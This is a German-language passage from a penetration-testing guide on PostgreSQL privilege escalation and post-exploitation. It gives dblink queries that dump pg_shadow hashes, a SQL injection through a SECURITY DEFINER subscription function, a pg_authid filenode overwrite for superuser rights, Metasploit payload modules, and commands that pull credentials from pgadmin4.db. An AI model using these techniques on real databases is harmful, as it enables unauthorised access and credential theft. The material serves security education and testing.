Einige fehlerhaft konfigurierte PostgreSQL-Instanzen ermöglichen möglicherweise das Anmelden eines beliebigen lokalen Benutzers. Es ist möglich, sich lokal von 127.0.0.1 aus mit der **`dblink`-Funktion** anzumelden:
```sql
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
Beachten Sie, dass für die vorherige Abfrage zu funktionieren **die Funktion `dblink` existieren muss**. Wenn nicht, könnten Sie versuchen, sie zu erstellen mit
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
Wenn Sie das Passwort eines Benutzers mit höheren Berechtigungen haben, der jedoch nicht berechtigt ist, sich von einer externen IP-Adresse aus anzumelden, können Sie die folgende Funktion verwenden, um Abfragen als dieser Benutzer auszuführen:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
Es ist möglich zu überprüfen, ob diese Funktion existiert mit:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### Benutzerdefinierte Funktion mit SECURITY DEFINER
[**In diesem Bericht**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) konnten Pentester in einer von IBM bereitgestellten Postgres-Instanz eine Privilege-Eskalation durchführen, weil sie **diese Funktion mit dem SECURITY DEFINER-Flag gefunden haben**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
<strong> VOLATILE SECURITY DEFINER
</strong> PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
</code></pre>
Wie in den [**Dokumenten erläutert**](https://www.postgresql.org/docs/current/sql-createfunction.html), wird eine Funktion mit **SECURITY DEFINER** mit den Berechtigungen des **Benutzers ausgeführt, dem sie gehört**. Daher kann die Funktion missbraucht werden, um **Berechtigungen innerhalb von Postgres zu eskalieren**, wenn sie **anfällig für SQL-Injektionen ist** oder privilegierte Aktionen mit vom Angreifer kontrollierten Parametern ausführt.
In Zeile 4 des obigen Codes ist zu erkennen, dass die Funktion das **SECURITY DEFINER**-Flag hat.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
Und dann **Befehle ausführen**:
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
### Passwort-Brute-Force mit PL/pgSQL
**PL/pgSQL** ist eine **voll ausgestattete Programmiersprache**, die im Vergleich zu SQL eine größere prozedurale Steuerung bietet. Sie ermöglicht die Verwendung von **Schleifen** und anderen **Steuerungsstrukturen**, um die Programmlogik zu verbessern. Darüber hinaus können **SQL-Anweisungen** und **Trigger** Funktionen aufrufen, die mit der **PL/pgSQL-Sprache** erstellt wurden. Diese Integration ermöglicht einen umfassenderen und vielseitigeren Ansatz für die Datenbankprogrammierung und Automatisierung.\
**Sie können diese Sprache missbrauchen, um PostgreSQL aufzufordern, die Anmeldeinformationen der Benutzer per Brute-Force zu ermitteln.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### Privilege Escalation durch Überschreiben interner PostgreSQL-Tabellen
{% hint style="info" %}
Der folgende Privilege-Escalation-Vektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen ausgeführt werden können.
{% endhint %}
Wenn Sie **PostgreSQL-Serverdateien lesen und schreiben können**, können Sie **zum Superuser werden**, indem Sie den PostgreSQL-On-Disk-Filenode überschreiben, der mit der internen `pg_authid`-Tabelle verbunden ist.
Erfahren Sie mehr über **diese Technik** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
Die Angriffsschritte sind:
1. PostgreSQL-Datenverzeichnis erhalten
2. Einen relativen Pfad zum Filenode erhalten, der mit der `pg_authid`-Tabelle verbunden ist
3. Den Filenode über die `lo_*`-Funktionen herunterladen
4. Den Datentyp erhalten, der mit der `pg_authid`-Tabelle verbunden ist
5. Verwenden Sie den [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), um den Filenode zu [bearbeiten](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); setzen Sie alle `rol*`-Booleschen Flags auf 1 für volle Berechtigungen.
6. Laden Sie den bearbeiteten Filenode über die `lo_*`-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte
7. _(Optional)_ Löschen Sie den im Speicher befindlichen Tabellencache, indem Sie eine teure SQL-Abfrage ausführen
8. Sie sollten nun die Berechtigungen eines vollständigen Superadmins haben.
## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### Protokollierung
Innerhalb der Datei _**postgresql.conf**_ können Sie die PostgreSQL-Protokolle aktivieren, indem Sie Folgendes ändern:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Dann **starten Sie den Dienst neu**.
### pgadmin
[pgadmin](https://www.pgadmin.org) ist eine Verwaltungs- und Entwicklungsplattform für PostgreSQL.\
Sie können **Passwörter** in der Datei _**pgadmin4.db**_ finden.\
Sie können sie mithilfe der _**decrypt**_ Funktion im Skript entschlüsseln: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
Die Client-Authentifizierung in PostgreSQL wird über eine Konfigurationsdatei namens **pg\_hba.conf** verwaltet. Diese Datei enthält eine Reihe von Einträgen, die jeweils einen Verbindungstyp, einen Client-IP-Adressbereich (falls zutreffend), den Datenbanknamen, den Benutzernamen und die Authentifizierungsmethode zur Übereinstimmung mit Verbindungen angeben. Der erste Eintrag, der mit dem Verbindungstyp, der Client-Adresse, der angeforderten Datenbank und dem Benutzernamen übereinstimmt, wird für die Authentifizierung verwendet. Es gibt kein Zurückfallen oder Backup, wenn die Authentifizierung fehlschlägt. Wenn kein Eintrag übereinstimmt, wird der Zugriff verweigert.
Die verfügbaren passwortbasierten Authentifizierungsmethoden in der pg\_hba.conf sind **md5**, **crypt** und **password**. Diese Methoden unterscheiden sich darin, wie das Passwort übertragen wird: MD5-gehasht, crypt-verschlüsselt oder im Klartext. Es ist wichtig zu beachten, dass die crypt-Methode nicht mit Passwörtern verwendet werden kann, die in pg\_authid verschlüsselt wurden.